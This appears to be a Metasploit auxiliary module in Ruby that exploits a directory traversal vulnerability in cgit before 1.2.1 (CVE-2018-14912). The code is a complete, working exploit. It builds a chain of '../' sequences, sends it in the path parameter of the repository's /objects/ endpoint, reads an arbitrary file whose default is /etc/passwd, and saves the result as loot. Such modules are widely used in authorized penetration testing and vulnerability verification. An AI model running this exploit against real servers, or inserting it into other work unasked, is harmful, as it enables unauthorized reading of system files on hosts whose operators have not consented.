1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::Scanner
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'cgit Directory Traversal',
16
        'Description' => %q{
17
          This module exploits a directory traversal vulnerability which
18
          exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
19
          configuration flag enable-http-clone is set to 1 (default).
20
        },
21
        'References' => [
22
          ['CVE', '2018-14912'],
23
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
24
          ['EDB', '45148']
25
        ],
26
        'Author' => [
27
          'Google Project Zero', # Vulnerability discovery
28
          'Dhiraj Mishra' # Metasploit module
29
        ],
30
        'DisclosureDate' => '2018-08-03',
31
        'License' => MSF_LICENSE,
32
        'Notes' => {
33
          'Reliability' => UNKNOWN_RELIABILITY,
34
          'Stability' => UNKNOWN_STABILITY,
35
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
36
        }
37
      )
38
    )
39

40
    register_options(
41
      [
42
        OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
43
        OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
44
        OptString.new('REPO', [true, "Git repository on the remote server", '']),
45
        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
46
      ]
47
    )
48
  end
49

50
  def run_host(ip)
51
    filename = datastore['FILEPATH']
52
    traversal = "../" * datastore['DEPTH'] << filename
53

54
    res = send_request_cgi({
55
      'method' => 'GET',
56
      'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
57
      'vars_get' => { 'path' => traversal }
58
    })
59

60
    unless res && res.code == 200
61
      print_error('Nothing was downloaded')
62
      return
63
    end
64

65
    vprint_good("#{peer} - \n#{res.body}")
66
    path = store_loot(
67
      'cgit.traversal',
68
      'text/plain',
69
      ip,
70
      res.body,
71
      filename
72
    )
73
    print_good("File saved in: #{path}")
74
  end
75
end
76

77